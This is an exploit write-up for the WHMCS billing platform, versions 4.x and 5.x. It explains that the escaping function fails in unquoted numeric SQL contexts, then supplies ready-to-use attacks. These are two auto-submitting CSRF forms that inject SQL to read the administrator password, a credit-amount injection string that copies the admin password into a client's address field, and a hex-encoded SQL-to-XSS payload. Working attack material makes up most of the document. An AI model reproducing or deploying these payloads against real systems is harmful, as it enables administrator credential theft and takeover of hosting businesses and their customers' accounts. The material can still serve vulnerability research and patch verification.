# Exploit Title: WHMCS v4.x & v5.x - Multiple Web Vulnerabilities
# Exploit Author: My error
# Vendor Homepage: http://whmcs.com/
# Version: 4.x , 5.x
# Tested on: win 7
+------------------+
| Vulnerability |
+------------------+
File : includes\dbfunctions.php
function db_escape_string($string) {
$string = mysql_real_escape_string($string);
return $string;
}
+------------------+
| Description |
+------------------+
the script use this function to secure the input
the function disable only the ' and "
but we can bypass it if the query don't use '
+------------+
| Example |
+------------+
file : admin/invoices.php
[...]
$query = "UPDATE tblinvoices SET credit=credit-" . db_escape_string($removecredit) . " WHERE id='" . db_escape_string($id) . "'";
full_query($query);
[...]
+------------+
|Exploitation|
+------------+
CSRF to SQL And Bypass Token
<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
action="http://localhost/whmcs5214/admin/invoices.php" method="post">
<input type="hidden" name="token" value="ahwak2000">
<input type="hidden" name="id" value="1">
<input type="hidden" name="removecredit" value="-99,invoicenum=(select password from tbladmins limit 0,1)">
<input type="hidden" name="action" value="edit">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>
OR
<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
action="http://localhost/whmcs5214/admin/invoices.php" method="post">
<input type="hidden" name="token" value="ahwak2000">
<input type="hidden" name="id" value="1">
<input type="hidden" name="addcredit" value="-99,invoicenum=(select password from tbladmins limit 0,1)">
<input type="hidden" name="action" value="edit">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>
+------------+
| Example 2|
+------------+
file : includes/invoicefunctions.php
function applyCredit($invoiceid, $userid, $amount="", $noemail = "") {
$query = "UPDATE tblinvoices SET credit=credit+" . db_escape_string($amount) . " WHERE id='" . mysql_real_escape_string($invoiceid) . "'";
full_query($query);
$query = "UPDATE tblclients SET credit=credit-" . db_escape_string($amount) . " WHERE id='" . mysql_real_escape_string($userid) . "'";
full_query($query);
[...]
}
}
File: /viewinvoice.php
if ($invoice->getData("status") == "Unpaid" && 0 < $creditbal) {
$creditamount = $whmcs->get_req_var("creditamount");
if ($whmcs->get_req_var("applycredit") && 0 < $creditamount) {
check_token();
if ($creditbal < $creditamount) {
echo $_LANG['invoiceaddcreditovercredit'];
exit();
}
else {
if ($balance < $creditamount) {
echo $_LANG['invoiceaddcreditoverbalance'];
exit();
}
else {
applyCredit($invoiceid, $invoice->getData("userid"), $creditamount);
}
}
redir("id=" . $invoiceid);
}
$smartyvalues['manualapplycredit'] = true;
$smartyvalues['totalcredit'] = formatCurrency($creditbal) . generate_token("form");
if (!$creditamount) {
$creditamount = ($balance <= $creditbal ? $balance : $creditbal);
}
$smartyvalues['creditamount'] = $creditamount;
}
+------------+
|Exploitation|
+------------+
Go to http://127.0.0.1/whmcs5214/viewinvoice.php?id=1 <~ edit
if client have creditt and when he want to pay with credit
in the "Enter the amount to apply:" put 0.01,Address2=(SELECT password from tbladmins limit 0,1)
the admin password will be in the client address
+-----------------+
sql => xss
SQL can convert to XSS
Must Encode XSS to Hex
Example :
(SELECT 0x3C7363726970743E616C6572742827616877616B3230303027293B3C2F7363726970743E) //<script>alert('mYerrOR');</script>
SQL can be modified to work when all members and supervisors
(SELECT 0x3C7363726970743E616C6572742827616877616B3230303027293B3C2F7363726970743E)# <~
+-------------------+
